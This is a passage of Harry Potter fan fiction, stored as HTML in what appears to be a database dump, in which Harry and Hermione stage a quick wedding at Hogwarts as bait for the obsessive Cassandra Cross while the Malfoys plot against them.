for the whereabouts of Miss Cross, but they haven&#8217;t found anything yet.&#8221;</p>\n\n<p>&#8220;If she was receiving help from the Malfoys, then she could probably disappear off their radar completely,&#8221; Hermione stated.</p>\n\n<p>&#8220;That is very possible, but they will still do their best to find her.&nbsp; As for the Lucius Malfoy, that is going to be a tricky situation.&nbsp; We have no physical evidence that he attacked Miss Granger&#8230;or that his son did either&#8230;&#8221;</p>\n\n<p>Dumbledore quieted Harry as the young man sprung to his feet.</p>\n\n<p>&#8220;Don&#8217;t tell me you&#8217;re going to let them off the hook!&nbsp; They nearly killed Hermione!&#8221;</p>\n\n<p>&#8220;I didn&#8217;t say that, Harry, but this situation is very difficult.&nbsp; The Malfoys are a powerful family, and they could swing their influence anyway they choose.&nbsp; Even members of the Ministry itself are quite afraid of Lucius, and he will use that fear against them.&nbsp; We have the testimony of you, Mr. Weasley, and Miss Brown, but Lucius could merely argue that you two do not like his son and concocted the story just to smear his name.&#8221;</p>\n\n<p>Harry sat back down after hearing those words.</p>\n\n<p>&#8220;What do you suggest, Albus?&#8221; Professor McGonagall asked from her spot next to Fawkes.</p>\n\n<p>&#8220;We don&#8217;t have option but to wait and see what moves they make.&nbsp; We don&#8217;t know what Cassandra is planning, or if she is going to try and harm Hermione once again.&nbsp; We&#8217;ll just have to wait for her to resurface.&#8221;</p>\n\n<p>Harry sat there stewing in his chair; he was angry and extremely frustrated.&nbsp; He looked at Hermione sitting next to him, and she looked at him anxiously.&nbsp; His blood boiled at the thought of Cassandra trying to hurt Hermione or worse&#8230;the Malfoys.&nbsp; No, he had to get to them before they got her.&nbsp; But how&#8230;how could he make Cassandra play her hand.</p>\n\n<p>&#8220;What if we draw her out?&#8221; he suddenly asked.&nbsp; The entire room looked at him in surprise.</p>\n\n<p>&#8220;What did you say, Harry?&#8221; Dumbledore replied.</p>\n\n<p>&#8220;What if we draw her out?&nbsp; Make Cassandra come to us.&#8221;</p>\n\n<p>&#8220;How do you plan on doing that, boy?&#8221; Moody asked incredulously.&nbsp; Harry actually grinned as the light bulb went off in his brain.</p>\n\n<p>&#8220;The one that thing despises most is Hermione being with me.&nbsp; So, we give her something that can&#8217;t afford to ignore.&#8221;</p>\n\n<p>&#8220;Honey, would just spit it out?&#8221; Hermione chorded.&nbsp; He looked at her and smiled.</p>\n\n<p>&#8220;Herm, what do you say we get married this weekend?&#8221; </p>\n\n<p>Everyone gasped at his statement.</p>\n\n<p>&#8220;What are you thinking?&#8221; Sirius gasped.&nbsp; &#8220;We don&#8217;t have time for that right now.&#8221;</p>\n\n<p>&#8220;Harry, that&#8217;s brilliant!&#8221; Dumbledore said proudly.</p>\n\n<p>&#8220;What do you mean, Albus?&#8221; McGonagall asked.</p>\n\n<p>&#8220;Think about it, Minerva, if Cassandra attacked Hermione because she is involved with Harry then the last thing she wants them to do is get married.&nbsp; She won&#8217;t allow them to get married; her pride wouldn&#8217;t allow it.&#8221;</p>\n\n<p>&#8220;Ah&#8230;so you&#8217;re using your marriage as bait&#8230;very clever,&#8221; Remus stated.</p>\n\n<p>&#8220;Well&#8230;I wouldn&#8217;t exactly put it like that,&#8221; Harry replied.&nbsp; He turned to the young woman next to him and took her hand.</p>\n\n<p>&#8220;Hermione&#8230;please&#8230;if you don&#8217;t think that this is a good idea, then I won&#8217;t ever speak of it again.&nbsp; I know that this is a lot to ask, but it may be the only way that we can find out what she&#8217;s up to.&nbsp; I&#8217;m sorry, I wanted to give the best wedding in the whole world, and now, I&#8217;m asking you to use it as a lure for a woman who&#8217;s obsessed with me.&#8221;</p>\n\n<p>Hermione sat there staring at her hands.&nbsp; Harry was asking her if she would give up her perfect wedding in order to catch a woman that&#8217;d made both their lives miserable.&nbsp; But then, who said that this was their actual wedding?&nbsp; If all went well, Cassandra would show up, and there wouldn&#8217;t even be a ceremony.&nbsp; Then, she and Harry could be married at a later date, and everything would be the way it should be.</p>\n\n<p>&#8220;Harry&#8230;I want to do this.&nbsp; I know that it&#8217;s not what we planned, but we&#8217;re not a normal couple.&nbsp; I want Cassandra to pay for what she did to you.&nbsp; If she doesn&#8217;t want us to be married, then that&#8217;s exactly what she&#8217;s going to see.&nbsp; I want the bitch put in her place, and then, we can work on having a real wedding.&#8221;</p>\n\n<p>All the professors gasped at Hermione&#8217;s harsh language, but Harry moved closer and took her in his arms.</p>\n\n<p>&#8220;Thank you, sweetheart.&nbsp; I promise you, you are going to have the most beautiful wedding in the whole world.&nbsp; I won&#8217;t let anything or anyone take away from our happiness.&#8221;</p>\n\n<p>She laid her head on his shoulder, and he held her against his chest.</p>\n\n<p>&#8220;Professor Dumbledore, can we arrange it for this weekend?&nbsp; We don&#8217;t need anything spectacular, and I also suggest we ask Tom Hutchinson to print an article announcing it.&#8221;</p>\n\n<p>&#8220;Excellent idea, Harry.&nbsp; That will definitely capture her attention if she sees it in the Daily Prophet.&nbsp; Very well, I will make the necessary arrangements.&#8221;</p>\n\n<p>&#8220;Thank you, sir, I really appreciate this, and&#8230;um&#8230;if you don&#8217;t mind&#8230;could we have the wedding here?&#8221;</p>\n\n<p>&#8220;At Hogwarts?&nbsp; Hmm, it&#8217;s been quite a while since we&#8217;ve had a wedding here, but I don&#8217;t see why not.&nbsp; I&#8217;m sure Hagrid can have the grounds ready in time.&#8221;</p>\n\n<p>Harry turned towards Hermione again.</p>\n\n<p>&#8220;Well&#8230;sweetheart&#8230;I know this may sound weird, but we better go find our best men and bridesmaids.&#8221;</p>\n\n<p>Everyone chuckled at Harry&#8217;s words, and Hermione smiled brightly.</p>\n\n<p>&#8220;I just wish that&#8230;my dad could give me away&#8230;&#8221; she said sadly.</p>\n\n<p>&#8220;Don&#8217;t worry, love, he will give you away &#8211; at the real wedding.&#8221;</p>\n\n<p>Hermione lifted her head and stared at Sirius.</p>\n\n<p>&#8220;Sirius, since my parents won&#8217;t be able to attend, I was wondering&#8230;could you&#8230;walk me down the aisle?&#8221;</p>\n\n<p>Harry&#8217;s godfather stared at her in shock; he was absolutely floored.</p>\n\n<p>&#8220;Why&#8230;certainly I would, Hermione, it would be an honor.&#8221;</p>\n\n<p>&#8220;Sounds good to me,&#8221; Harry added.</p>\n\n<p>&#8220;Then it is settled; the ceremony will take place this weekend.&nbsp; Hopefully, that will be when this mess will come to an end,&#8221; Dumbledore explained.</p>\n\n<p>Harry and Hermione excused themselves and exited down the stairwell.</p>\n\n<p>&#8220;Those two are walking right into the frying pan,&#8221; Sirius growled.&nbsp; He hated having to watch his best friend&#8217;s son going through this.</p>\n\n<p>&#8220;Harry is doing this because he&#8217;s willing to sacrifice something to protect the person that he loves.&nbsp; He wants to do this, and we must help him through this.&nbsp; It is up to the two of them how this turns out; we are merely spectators in this,&#8221; Dumbledore said firmly and pushed his glasses up on his nose.</p>\n\n<p>&#8220;Is this really a wise plan, Albus?&nbsp; We have no idea what the Malfoys or Miss Cross is up to?&nbsp; Can we really throw such a blatant invitation as this?&#8221;</p>\n\n<p>&#8220;That is exactly why this will work, Minerva.&nbsp; Cassandra would never allow Harry and Hermione&#8217;s wedding to go forward; she will come for both of them.&#8221;</p>\n\n<p>&#8220;And what about Lucius Malfoy?&#8221; Sirius asked.</p>\n\n<p>&#8220;If necessary, I will handle Lucius,&#8221; Dumbledore answered.</p>\n\n<p>Instead of heading for their tower, Harry and Hermione headed into the Gryffindor Common Room.&nbsp; The entire room froze when they came in, and the two looked around at everyone staring at them.&nbsp; Harry looked at Hermione and grinned.</p>\n\n<p>&#8220;Hey everyone, Hermione and I would like to say something.&#8221;</p>\n\n<p>&#8220;Yes, I would like to announce that Harry&#8217;s and my wedding will be this weekend.&#8221;</p>\n\n<p>Nearly everyone fell off their chairs or couches.&nbsp; Ron was the first one to recover.</p>\n\n<p>&#8220;Wow, that&#8217;s really soon, but I guess you knew that you wanted to be together for a long time.&nbsp; You&#8217;re like two peas in a pod!&#8221;</p>\n\n<p>Harry walked up to his best friend and put a hand on his shoulder.</p>\n\n<p>&#8220;Ron, I need a favor.&nbsp; I was gonna ask you.&nbsp; Would you be my best man?&#8221;</p>\n\n<p>&#8220;Bloody hell, of course, I will, but I&#8217;m not gonna have time to plan a bachelor party.&#8221;</p>\n\n<p>&#8220;Shut-up Weasley,&#8221; Lavender groaned and smacked his head.</p>\n\n<p>Hermione walked up to her old roommate and smiled.</p>\n\n<p>&#8220;Lavender, I need the same favor.&nbsp; Could you&#8230;be my maid of honor?&#8221;</p>\n\n<p>The blond hugged her long time friend.</p>\n\n<p>&#8220;Course, I will, girl, you know I&#8217;d do anything for you.&nbsp; But&#8230;oh no&#8230;we gotta do some serious shopping!&nbsp; Sorry loverboy, I gotta borrow your sweetie for a few hours.&#8221;</p>\n\n<p>Lavender dragged Hermione towards the portrait hole, and the two grabbed Ginny on the way out.&nbsp; Hermione blew Harry a kiss and winked at him as she disappeared.</p>\n\n<p>Ron slapped Harry on the back.</p>\n\n<p>&#8220;So&#8230;you&#8217;ll be married man soon; I feel so sorry for you,&#8221; he snorted.</p>\n\n<p>&#8220;Come on, I have enough to do the next few days without dealing with your dry sense of humor.&#8221;</p>\n\n<p>&#8220;Oh, you wound me, my friend; I pride myself on my sense of humor.&#8221;</p>\n\n<p>&#8220;We better start working on this, or there won&#8217;t be any wedding.&#8221;</p>\n\n<p>&#8220;Fine&#8230;but I&#8217;m not gonna stop telling jokes.&#8221;</p>\n\n<p>Later that night, Harry lay on his bed with his hands behind his head.&nbsp; He was exhausted from trying to arrange everything for the wedding.&nbsp; Even though he was Harry Potter, it was still hard to find things on such short notice.&nbsp; He let out a long yawn and heard someone open his door.&nbsp; Lifting his head, he saw Hermione slip into his room.</p>\n\n<p>&#8220;Hey sweetheart, how was your day?&#8221;</p>\n\n<p>&#8220;A shopping marathon, Lavender sure can be fussy.&#8221;</p>\n\n<p>&#8220;I bet; you look beat.&#8221;</p>\n\n<p>&#8220;So do you.&nbsp; I just wanna drop into bed and fall right to sleep.&#8221;</p>\n\n<p>&#8220;Climb on in, love, there&#8217;s plenty of room.&#8221;</p>\n\n<p>Harry shifted over, and Hermione quietly undressed.&nbsp; Leaving on her lingerie, she slipped into bed and pressed herself up against her fianc&#233;.&nbsp; Harry wrapped his arms around her and kissed her forehead.&nbsp; Hermione was asleep a few seconds later, and Harry soon followed her.</p>\n\n<p>Author&#8217;s Notes:&nbsp; Okay, I just came out of the most serious case of writer&#8217;s block I have ever experienced!&nbsp; I couldn&#8217;t think of anything for weeks!&nbsp; I know how I want the story to end, but I had no idea how I was going to get there.&nbsp; I&#8217;d like to thank everyone for being so patient.&nbsp; So&#8230;next time&#8230;let the wedding begin.</p> '),
	(244, 18, ' <p>Harry had been hoping that there wouldn&#8217;t too much backlash from his wedding announcement, but he should have known better.&nbsp; Hermione was pretty much left alone, but he was a completely different story.&nbsp; For the entire week, he was hounded by girls left and right &#8211; despite Hermione&#8217;s warning.&nbsp; They begged him to say that he wasn&#8217;t getting married, and that they&#8217;d do anything to make him reconsider.&nbsp; Harry merely stated that he was already taken and politely declined.&nbsp; It appeared to be working, but not everyone accepted that answer.</p>\n\n<p>&#8220;Oh, come on, Harry, don&#8217;t tell me you&#8217;re really going through with this.&#8221;</p>\n\n<p>Harry had been on his way to Sirius&#8217; class when he&#8217;d been stopped by Missy O&#8217;Connell.&nbsp; She was a Slytherin, and &#8211; before Cassandra came around &#8211; the most sought-after girl in Hogwarts.&nbsp; However, she also had the reputation of being a rather &#8216;loose&#8217; girl.</p>\n\n<p>&#8220;I&#8217;m sorry, Missy, but I&#8217;m quite serious about this.&nbsp; I&#8217;m in love with Hermione, and she is going to be my wife.&nbsp; I&#8217;m not interested in you or anyone else.&#8221;</p>\n\n<p>&#8220;I&#8217;m sure there&#8217;s something I can do to make you change your mind,&#8221; she cooed and batted her lashes at him.</p>\n\n<p>Harry backed away from her, and the entire hallway followed his movements.</p>\n\n<p>&#8220;Missy, one last time, leave me alone!&nbsp; I&#8217;m saying this for your sake as well!&nbsp; Trust me, you don&#8217;t want to get Hermione mad at you.&#8221;</p>\n\n<p>&#8220;He&#8217;s right about that, Missy,&#8221; Lavender confirmed as she came around the corner.</p>\n\n<p>&#8220;Trust me, you don&#8217;t want to see Hermione pissed at you; she&#8217;ll hex you into next year if she thinks you&#8217;re messing with Harry.&#8221;</p>\n\n<p>Lavender stepped in front of Harry and glared at the annoying Slytherin.</p>\n\n<p>&#8220;Harry, go on, I&#8217;ll deal with &#8216;little miss priss&#8217; here.&nbsp; I&#8217;d hate to see you break your promise of not hexing girls.&#8221;</p>\n\n<p>&#8220;Thanks Lavender, I owe you one.&#8221;</p>\n\n<p>Harry quickly made his exit as Lavender held her ground.</p>\n\n<p>&#8220;That was a mistake,&#8221; Missy growled.&nbsp; Lavender just shook her head.</p>\n\n<p>&#8220;Don&#8217;t you get it already?&#8221; She turned her head to look at all the girls staring at her.</p>\n\n<p>&#8220;You&#8230;all of you&#8230;you all lost the battle for Harry a long time ago so why are you making fools of yourselves.&nbsp; Harry Potter&#8217;s been out of reach for the last two years.&nbsp; Your precious trophy is not available anymore so deal with it!&#8221; Lavender shouted and stormed off after Harry, leaving several of her classmates looking down at the ground ashamed of their actions.</p>\n\n<p>The night before the wedding finally arrived, and Harry&#8217;s mind was on full meltdown.&nbsp; Between his studies and all the stupid questions he&#8217;d been asked about the wedding, he was absolutely exhausted.&nbsp; It wasn&#8217;t just the wedding or his classmates either.&nbsp; The press had gotten a hold of his wedding announcement as well, and every reporter from the Daily Prophet to Wizard Snitch wanted a piece of him.</p>\n\n<p>That was all over with though; all the preparations were complete thanks to Hagrid and Dumbledore.&nbsp; Right now, he had a date with Hermione and her parents for dinner.</p>\n\n<p>Harry apparated into Dumbledore&#8217;s house, and Mathis was there to greet him.&nbsp; He owed his headmaster a huge thanks when this year was over.&nbsp; Hermione had come here about an hour earlier because she wanted to talk to her parents.</p>\n\n<p>&#8220;Good evening, Harry, how are tonight?&#8221;</p>\n\n<p>&#8220;Hello Mathis, nice to see you.&#8221;</p>\n\n<p>&#8220;Miss Granger and her parents are in the dining room down the hall.&nbsp; Please go ahead; dinner will be ready shortly.&#8221;</p>\n\n<p>&#8220;Thank you.&#8221;</p>\n\n<p>Harry entered the dining hall, and he was captivated by the large crystal chandelier hanging overhead &#8211; not the mention the plush velvet carpet on the floor.&nbsp; A large mahogany table was in the center of the room, and Hermione and her parents were already seated.</p>\n\n<p>&#8220;Harry!&#8221; Hermione said happily and ran into his arms.</p>\n\n<p>&#8220;I missed you, Herm,&#8221; he sighed and buried his face in her hair.</p>\n\n<p>&#8220;Missed you too,&#8221; she murmured into his chest.</p>\n\n<p>&#8220;It&#8217;s nice to see you again, Harry,&#8221; John Granger said warmly.</p>\n\n<p>The young wizard released his fianc&#233;, and the couple sat down across from her parents.</p>\n\n<p>&#8220;You look tired, son,&#8221; Melinda said, noting how raggedy Harry&#8217;s face look.</p>\n\n<p>&#8220;I am.&nbsp; I had no idea planning a wedding could be so stressful.&#8221;</p>\n\n<p>&#8220;Oh, my poor Harry,&#8221; Hermione said and stroked his hair, &#8220;he&#8217;s been like a target this week, and people have shot at him at least twenty times a day.&#8221;</p>\n\n<p>&#8220;It&#8217;s all right; it&#8217;s well worth it,&#8221; and he clasped her hand tightly.</p>\n\n<p>Harry then turned to face her parents.</p>\n\n<p>&#8220;Mr. and Mrs. Granger, I&#8217;m sorry that you can&#8217;t attend the wedding tomorrow, but if I&#8217;m correct, the ceremony is going to come under attack, and I don&#8217;t want you to be hurt.&nbsp; Plus, the two of you are supposed to be dead, and it would be rather strange if you just showed up.&nbsp; I promise you, sir, you will get to walk Hermione down the aisle &#8211; for real!&#8221;</p>\n\n<p>&#8220;I know that, Harry, and I appreciate what you&#8217;ve done for Hermione and for us,&#8221; John Granger replied.</p>\n\n<p>&#8220;Harry&#8230;can I ask you something?&#8221; Hermione cut in.</p>\n\n<p>&#8220;Sure, what is it?&#8221;</p>\n\n<p>&#8220;I&#8217;ve just realized this recently, and I&#8217;m not sure why I didn&#8217;t notice it sooner.&nbsp; Why is it that no one has asked you about how you defeated Voldemort last year?&nbsp; I mean, didn&#8217;t you use the phoenix to kill him?&nbsp; Why hasn&#8217;t anybody asked you about that?&#8221;</p>\n\n<p>&#8220;Ah, I see you finally realized it; that&#8217;s my ace in the hole.&nbsp; You see, no one remembers seeing me use the phoenix; in fact, they don&#8217;t know it even exists.&#8221;</p>\n\n<p>&#8220;What?&nbsp; But every student in Hogwarts saw you use it.&nbsp; How come nobody knows?&#8221;</p>\n\n<p>&#8220;Well&#8230;you remember that celebration ball we had the end of last year.&nbsp; Dumbledore decided that it would be better if everyone forgot about my phoenix.&nbsp; So, he cast a memory charm on everyone to make them forget what they saw and heard.&nbsp; They remember that I defeated Voldemort, but they don&#8217;t remember exactly how I did it.&nbsp; Even the press didn&#8217;t know the truth.&nbsp; The only people who know are Dumbledore, Fudge, Sirius, and you.&nbsp; Plus, you&#8217;ve actually seen my phoenix anyway.&#8221;</p>\n\n<p>&#8220;That&#8217;s why I didn&#8217;t see any articles about it; I just thought the ministry covered it up or something.&#8221;</p>\n\n<p>&#8220;You could say that, but it gives me an advantage over Cassandra.&nbsp; She doesn&#8217;t know about it and neither do the Malfoys.&nbsp; I&#8217;m hoping that it won&#8217;t come to that, but if I have to, I will use it.&#8221;</p>\n\n<p>&#8220;Harry&#8230;you don&#8217;t honestly think that you&#8217;re going to have to kill her, do you?&#8221; Hermione asked fearfully.</p>\n\n<p>&#8220;I don&#8217;t know, I just don&#8217;t know!&nbsp; I&#8217;ve tried to reason with her &#8211; both with words and with action, but she doesn&#8217;t let up.&nbsp; I would much rather send her to Azkaban for a very long time, but Hermione, so help me, if she threatens your life one more time&#8230;&#8221;</p>\n\n<p>The torches on the wall flickered violently, and their flames rose up to almost two feet in length.&nbsp; Harry&#8217;s eyes blazed in the candlelight, and John and Melinda Granger were almost scared at the power radiating from the young man.&nbsp; They may have been muggles, but they could still see the aura that he was emitting.</p>\n\n<p>&#8220;Harry&#8230;don&#8217;t worry&#8230;I know it won&#8217;t come to that,&#8221; Hermione said soothingly, and his power instantly dwindled back to normal with her touch.</p>\n\n<p>&#8220;I hope so, Herm.&#8221;</p>\n\n<p>Thankfully, dinner was finally ready, and the food appeared on all their plates in a matter of seconds.&nbsp; Harry settled into a brooding silence as he picked at his food, and Melinda Granger felt her heart go out to him.&nbsp; She started talking to Hermione about much more casual matters, and the two women slowly worked Harry into the conversation.&nbsp; At first, he wasn&#8217;t very talkative, but eventually, the frown left his face, and he began to smile as they all laughed at a joke together.</p>\n\n<p>Meanwhile, on the opposite side of the country, a trio slowly made their way through an underground tunnel.&nbsp; One of them pulled a hidden latch, and a doorway opened ahead of them.</p>\n\n<p>Lucius and Draco Malfoy emerged into their mansion with Cassandra Cross right behind them.&nbsp; The wall they had just come through slid back into place, and they sat down.</p>\n\n<p>&#8220;What imbeciles, do they really think we&#8217;d sit around here waiting for them?&#8221; Lucius growled.</p>\n\n<p>He&#8217;d deliberately waited until the Aurors had left the area surrounding his mansion before he had returned; they were off on a wild goose chase.</p>\n\n<p>&#8220;You&#8217;re definitely a hard man to catch, Lucius,&#8221; Cassandra chuckled and threw her blond hair back.</p>\n\n<p>&#8220;Their tactics are so predictable; it&#8217;s a joke!&#8221;</p>\n\n<p>&#8220;Where do we go from here?&#8221; Draco asked.</p>\n\n<p>&#8220;Why don&#8217;t we ask Miss Cross that question?&nbsp; I&#8217;m sure she&#8217;s heard about Potter&#8217;s wedding tomorrow.&nbsp; Just what do you plan to do?&#8221;</p>\n\n<p>&#8220;I refuse to allow that bushy-haired bitch to marry him; I&#8217;ll kill both of them if I have to.&nbsp; If I can&#8217;t have Harry, then no one will!&#8221;</p>\n\n<p>&#8220;But how do plan to defeat him?&nbsp; He did defeat Voldemort last year, and you&#8217;re nowhere near his level of magic.&nbsp; However&#8230;&#8221; Lucius sneered and walked over to the wall.</p>\n\n<p>&#8220;Just what are you doing, father?&#8221;</p>\n\n<p>Lucius slid aside a painting and opened a hidden safe.&nbsp; Reaching inside, he drew out a golden amulet.&nbsp; Turning around, he tossed the trinket over to Cassandra.</p>\n\n<p>&#8220;What is this?&#8221; It was solid gold and had a large glowing ruby in the center of it.</p>\n\n<p>&#8220;That is the Amulet of Minerva; it increases your magical capacity by a factor of five!&#8221;</p>\n\n<p>&#8220;What?&nbsp; Father, why are giving that to her?&nbsp; Why don&#8217;t you use it?&#8221;</p>\n\n<p>&#8220;Be silent, boy, I would use it if I could.&#8221;</p>\n\n<p>&#8220;Just why can&#8217;t you?&#8221; Cassandra asked curiously.</p>\n\n<p>&#8220;That amulet may only be used by a woman; its power will not respond to a man.&#8221;</p>\n\n<p>&#8220;Interesting&#8230;this will be very useful.&#8221;</p>\n\n<p>&#8220;Don&#8217;t be sorry I gave it you, girl, or I will slit your throat myself!&#8221; Lucius growled.</p>\n\n<p>&#8220;Not even Harry will stand a chance against me with this!&#8221; and the amulet glowed with power in her hands.</p>\n\n<p>&#8220;This is where our partnership ends, Cross.&nbsp; From here on, you&#8217;re on your own!&#8221;</p>\n\n<p>&#8220;We had an agreement, Malfoy, don&#8217;t you dare betray me now!&#8221; she hissed at him.</p>\n\n<p>&#8220;Don&#8217;t make me laugh,&#8221; he snickered, &#8220;you wouldn&#8217;t have even known where to start without me.&nbsp; As for our agreement, I have my own score to settle with Potter, and I will do it my way.&nbsp; Now, get out!&#8221;</p>\n\n<p>Cassandra stood up, and she sneered at the two men.</p>\n\n<p>&#8220;You better pray that we don&#8217;t meet again, Lucius.&#8221;</p>\n\n<p>&#8220;That goes both ways.&#8221;</p>\n\n<p>With that, Cassandra headed back into the hidden passage and away from the mansion.</p>\n\n<p>&#8220;Father, are you sure it was wise to give her that amulet?&nbsp; What if she comes after you after she kills Potter?&#8221; His father just laughed.</p>\n\n<p>&#8220;You stupid boy, do you really think I&#8217;d give her something that would make her five times more powerful?&nbsp; That amulet is a fake!&nbsp; That girl will think she&#8217;s all-powerful, and Potter will crush her into the ground.&#8221;</p>\n\n<p>Lucius reached into his robes and drew out a glowing, green orb.</p>\n\n<p>&#8220;Now this, Draco, is something that is quite real; this will truly enhance your magical powers,&#8221; he almost cackled.</p>\n\n<p>&#8220;What is that?&nbsp; I&#8217;ve never that&#8230;wait a minute&#8230;isn&#8217;t that&#8230;&#8221;</p>\n\n<p>&#8220;The Orb of Slytherin.&nbsp; It holds magic from the great Salazar Slytherin himself; with this, I will finish Harry Potter and that annoying Albus Dumbledore in one fail swoop.&nbsp; Come Draco, we have plans to make for tomorrow.&#8221;</p>\n\n<p>The young man eagerly followed his father.&nbsp; At last, he was going to see Harry Potter put in his place.&nbsp; Tomorrow would be a day that he would never forget!</p>\n\n<p>Harry and Hermione returned to Hogwarts late that evening, and they both did several, small last-minute preparations for the following day.&nbsp; When Harry entered his room, Hedwig was sitting on her perch with a note attached to her leg.&nbsp; Harry stroked her feathers to thank her and untied the parchment.</p>\n\n<p>Harry,</p>\n\n<p>Everything is in place for tomorrow.&nbsp; I know this isn&#8217;t easy for you to go through again, but I know that you will be fine.&nbsp; Rest well tonight, my boy.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dumbledore</p>\n\n<p>Harry felt a lot of his stress drain from his body and muscles as he read the note, and he changed his clothes for bed.</p>\n\n<p>A few minutes later, his door opened, and Hermione came in.&nbsp; She was wearing the flannel pajamas that he loved so much, and he was already in bed waiting for her.&nbsp; She crawled under the covers and wrapped herself around him.</p>\n\n<p>&#8220;Hermione, thank you, for putting up with all of this.&nbsp; I&#8217;m not the best boyfriend in the world, am I?&#8221;</p>\n\n<p>&#8220;Don&#8217;t be silly, of course you are.&nbsp; Harry, for the last time, this isn&#8217;t your fault.&nbsp; We&#8217;re together because we love each other &#8211; period!&nbsp; Tomorrow will come and go, but you and I will still be together.&nbsp; Nobody can change that &#8211; not Cassandra, not Malfoy, no one!&#8221;</p>\n\n<p>&#8220;You&#8217;re right, Herm, I&#8217;m sorry.&nbsp; I sound like such an idiot.&#8221;</p>\n\n<p>&#8220;Nah, you&#8217;re just worried about everyone but yourself; that&#8217;s why I&#8217;m here &#8211; to beat some sense into you.&#8221;</p>\n\n<p>Harry pulled her tighter against him and kissed her deeply.</p>\n\n<p>&#8220;You are something else, Miss Granger, and I wouldn&#8217;t have you any other way.&#8221;</p>\n\n<p>&#8220;Deal with it, lover, you&#8217;re stuck with me.&#8221;</p>\n\n<p>&#8220;I love you, Hermione Granger,&#8221; and he kissed with all the depth in his soul.</p>\n\n<p>They left each other breathless, and she laid her head against his chest.</p>\n\n<p>&#8220;I love you too, Harry Potter,&#8221; and their lights went out.</p>\n\n<p>A few minutes passed by, and Harry&#8217;s eyes began to close when he saw Hermione staring up at him.</p>\n\n<p>&#8220;By the way, love?&#8221;</p>\n\n<p>&#8220;Yes, what is it, sweetheart?&#8221; She smiled brilliantly at him.</p>\n\n<p>&#8220;My name is Hermione Potter.&#8221;</p>\n\n<p>Author&#8217;s Notes:&nbsp; Well guys, I know I promised you the wedding this chapter, but it would have taken another week to get my update done.&nbsp; Now, I have the transition finished and can focus on the action coming up.&nbsp; As for why I haven&#8217;t updated for a while, I&#8217;ve been busy.&nbsp; For people who know or don&#8217;t know my work, I write fics for several different series &#8211; from Anime to Video Games to Books.&nbsp; Sometimes, I&#8217;m writing four or five stories at a time!&nbsp; I&#8217;ll get an inspiration for one and just spend a week working on that story!&nbsp; I have a lot of work in progress and am doing my best to accommodate all my readers.&nbsp; So please, I ask you to bare with me.&nbsp; I love this trilogy and want it done right, but I can&#8217;t force my writing.&nbsp; It would destroy my story.&nbsp; I promise to have the wedding up soon.&nbsp; Thanks a lot everybody.</p> '),
	(244, 19, ' <p>Harry let out a very long sigh and rubbed his palms together; he couldn&#8217;t stop his hands from sweating.&nbsp; He stood at the front of a long aisle with Ron by his side.&nbsp; They were just outside the main gates of Hogwarts where nearly a hundred chairs had been set up for guests.&nbsp; He knew that most of Hogwarts would be watching from their dormitories so it was a lot more people than there were seats for.&nbsp; Madam Sprout had placed several enchanted bouquets around the area, and each of them was charmed to re-blossom over and over again.&nbsp; A long, white, silk carpet that ran all the way from the back to the front of the altar where Harry stood split the seating.&nbsp; He tugged at his dress robes anxiously, and Ron chuckled.</p>\n\n<p>&#8220;Would you relax, pal, you&#8217;re gonna make your hair turn gray?&#8221;</p>\n\n<p>&#8220;Sorry Ron, I know that I shouldn&#8217;t be nervous, but I&#8230;&#8221;</p>\n\n<p>His best friend clapped him on the back.</p>\n\n<p>&#8220;Don&#8217;t worry about it; it&#8217;s your wedding day; you&#8217;re allowed to be nervous.&nbsp; Especially considering the special circumstances.&#8221;</p>\n\n<p>&#8220;I know what you mean.&nbsp; Ron, I&#8217;m gonna need your help today; this is not going to be easy.&nbsp; I&#8217;m not sure what&#8217;s going to happen, but&#8230;&#8221;</p>\n\n<p>&#8220;Say no more.&nbsp; Trust me, I&#8217;m not gonna get killed before I see you domesticated, Harry,&#8221; he laughed.</p>\n\n<p>&#8220;Oh really, and just who was it that started to learn poetry for Lavender, huh?&#8221;</p>\n\n<p>Ron&#8217;s eyes shot open, and he glared at his best friend.</p>\n\n<p>&#8220;Don&#8217;t you dare tell anybody about that!&#8221;</p>\n\n<p>&#8220;Not to worry, Mr. Weasley, I won&#8217;t say a word,&#8221; someone interrupted.</p>\n\n<p>Harry turned to see Dumbledore strolling up the aisle.&nbsp; He&#8217;d been honored when the headmaster had asked to perform the ceremony for he and Hermione.&nbsp; His robes were different that normal.&nbsp; This time, they were a glowing white with gold and red trim sewn into the lining; he looked very much like a priest.</p>\n\n<p>A moment later, Hagrid rumbled down the aisle and smiled at his friends.</p>\n\n<p>&#8220;Well&#8230;everything is ready, Professor Dumbledore.&nbsp; Harry, I wish you the best of luck; if necessary, I will see that guests are safely evacuated.&#8221;</p>\n\n<p>&#8220;Thank you, Hagrid, I appreciate all your hard work.&#8221;</p>\n\n<p>Harry couldn&#8217;t think of anything else that needed to be check.&nbsp; Remus and Lupin were guarding the perimeter of the gates, and Sirius was escorting Hermione.&nbsp; Reporters from the Daily Prophet were seated in the audience, and they were all scribbling down on the notepads.&nbsp; Harry saw Tom Hutchinson among them and smiled, knowing that he would make sure the truth was printed.&nbsp; His eyes also found Rita Skeeter among the reporters, and his stomach turned.&nbsp; Hermione was not going to be happy about that, but he had bigger fish to fry today.&nbsp; Closing his eyes, Harry cleared his mind and focused on the tasks ahead of him.</p>\n\n<p>&#8220;All right, Hermione, let&#8217;s put on your veil,&#8221; Lavender stated and picked up the lacy material.</p>\n\n<p>Hermione was seated on a large round stool in front of massive mirror.&nbsp; She was dressed in a lovely, white wedding gown, and her hair long hair was pulled into a bun on the back of her head.&nbsp; Ginny, Pavarati, and Lavender were helping her get 